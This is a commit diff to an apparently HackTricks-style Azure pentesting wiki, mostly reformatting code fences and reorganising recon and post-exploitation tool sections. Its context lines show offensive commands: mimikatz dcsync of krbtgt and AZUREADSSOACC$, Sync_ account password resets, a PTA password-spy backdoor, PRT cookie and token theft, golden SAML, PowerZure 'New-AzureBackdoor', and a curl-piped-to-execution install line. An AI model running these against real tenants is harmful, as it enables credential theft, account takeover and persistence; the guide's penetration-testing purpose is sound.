azure automatic tools

This commit is contained in:
Carlos Polop
2025-01-21 18:15:39 +01:00
parent 0996afea1b
commit 64ab139a57
42 changed files with 390 additions and 368 deletions

View File

@@ -48,7 +48,7 @@ optional arguments:
<summary>Code to perform Role Juggling from PowerShell</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation

View File

@@ -95,7 +95,7 @@ az account management-group list #Not allowed by default
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -106,7 +106,7 @@ Get-AzureADTenantDetail
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -130,7 +130,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
>
> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
### ENtra ID Enumeration
### Entra ID Enumeration
By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/index.html#default-user-permissions)).\
You can find here a guide:
@@ -155,250 +155,6 @@ Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or
Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
## Debug | MitM az cli
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
```bash
az account management-group list --output table --debug
```
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## Automated Recon Tools
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the Contributor role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -148,5 +148,269 @@ The Azure Active Directory (AD) module, now **deprecated**, is part of Azure Pow
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
## Automated Recon & Compliance Tools
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot with steampipe and powerpipe allows to gather information from Azure and Entra ID and perform compliance checks and find misconfigurations. The currently most recommended Azure modules to run are:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler is an Open Source security tool to perform AWS, Azure, Google Cloud and Kubernetes security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
It basically would allow us to run hundreds of checks against an Azure environment to find security misconfigurations and gather the results in json (and other text format) or check them in the web.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
It allows to perform Azure subscriptions and Microsoft Entra ID security configuration reviews automatically.
The HTML reports are stored inside the `./monkey-reports` directory inside the github repository folder.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suite gathers configuration data for manual inspection and highlights risk areas. It's a multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
It's a powershell script that helps you to **visualize all the resources and permissions inside a Management Group and the Entra ID** tenant and find security misconfigurations.
It works using the Az PowerShell module, so any authentication supported by this tool is supported by the tool.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Automated Post-Exploitation tools
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
The enumeration of ROADRecon offers information about the configuration of Entra ID, like users, groups, roles, conditional access policies...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
Launch the **BloodHound** web with **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** and import the `output.json` file.
Then, in the **EXPLORE** tab, in the **CYPHER** section you can see a **folder** icon that contains pre-built queries.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. It is intended to be used during penetration tests where Azure is in use.
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, EntraID, and the associated resources.
It uses the **Az PowerShell** module, so any authentication supported by this tool is supported by the tool.
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner is a post-exploitation toolset for interacting with the Microsoft Graph API. It provides various tools for performing reconnaissance, persistence, and pillaging of data from a Microsoft Entra ID (Azure AD) account.
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work.
**Unfortunately, it looks unmantained**.
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -15,7 +15,7 @@ When running this script, sys admins need to provide two main parameters: **Serv
An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
```powershell
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -34,24 +34,24 @@ We have the follow conditions:
There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
```powershell
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
```powershell
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
```powershell
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

View File

@@ -53,7 +53,7 @@ For each integration method, user synchronization is conducted, and an `MSOL_<in
To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used:
```powershell
```bash
Get-ADSyncConnector
```

View File

@@ -10,7 +10,7 @@ I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are t
- License is not required
- Should **not be already synced**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```

View File

@@ -85,7 +85,7 @@ _Only the items in bold are mandatory. The others can be filled in as desired._
To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user:
```powershell
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -120,7 +120,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### On-prem -> cloud
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -141,7 +141,7 @@ Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://
It's also possible to create ImmutableID of cloud only users and impersonate them
```powershell
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

View File

@@ -41,7 +41,7 @@ You can find a [full overview of how these credentials are stored and decrypted
If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:
```powershell
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -51,7 +51,7 @@ Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
### Abusing MSOL\_\*
```powershell
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -67,7 +67,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
```powershell
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -90,7 +90,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
It's also possible to **modify the passwords of only cloud** users (even if that's unexpected)
```powershell
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

View File

@@ -27,7 +27,7 @@ The authentication is validated in the on-prem AD and the communication with clo
If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
```powershell
```bash
Install-AADIntPTASpy
```
@@ -36,7 +36,7 @@ Install-AADIntPTASpy
It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
```powershell
```bash
Get-AADIntPTASpyLog -DecodePasswords
```

View File

@@ -22,7 +22,7 @@ The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the pas
The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**:
```powershell
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -42,7 +42,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
With the hash you can now **generate silver tickets**:
```powershell
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

View File

@@ -66,7 +66,7 @@ For more info about this way [**check this post**](https://dirkjanm.io/abusing-a
To generate a valid PRT cookie the first thing you need is a nonce.\
You can get this with:
```powershell
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -84,25 +84,25 @@ AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-
Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools):
```powershell
```bash
roadrecon auth prt-init
```
Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack):
```powershell
```bash
.\ROADtoken.exe <nonce>
```
As oneliner:
```powershell
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:
```powershell
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -116,7 +116,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
`Get-AADIntUserPRTToken` **gets users PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token.
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -126,7 +126,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Or if you have the values from Mimikatz you can also use AADInternals to generate a token:
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -187,7 +187,7 @@ You can find an **in depth explanation of the performed process** to extract the
You can use **mimikatz** to extract the PRT:
```powershell
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

View File

@@ -2,7 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
To start a white box hardening review of some Entra ID tenats you need to ask for **Global Reader role on each tenant**. Moreover, to perform a hardening review of different Azure subscriptions you would need at least the **Reader permissions over all the subscriptions**.
Note that if those roles aren't enough to access all the info you need, you could also ask the client for roles with the permissions you need. Just try to **minimize the amount of not read-only permissions you ask for!**
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -18,7 +18,7 @@ An interesting role to add to the application would be **Privileged authenticati
This technique also allows to **bypass MFA**.
```powershell
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
@@ -26,7 +26,7 @@ Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1
- For certificate based authentication
```powershell
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
@@ -36,13 +36,13 @@ With **DA privileges** on on-prem AD, it is possible to create and import **new
**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service:
```powershell
```bash
New-AADIntADFSSelfSignedCertificates
```
Then, update the certificate information with Azure AD:
```powershell
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
@@ -50,7 +50,7 @@ Update-AADIntADFSFederationSettings -Domain cyberranges.io
With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer:
```powershell
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

View File

@@ -262,7 +262,7 @@ If an automation account is using a custom runtime environment, it could be poss
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
```powershell
```bash
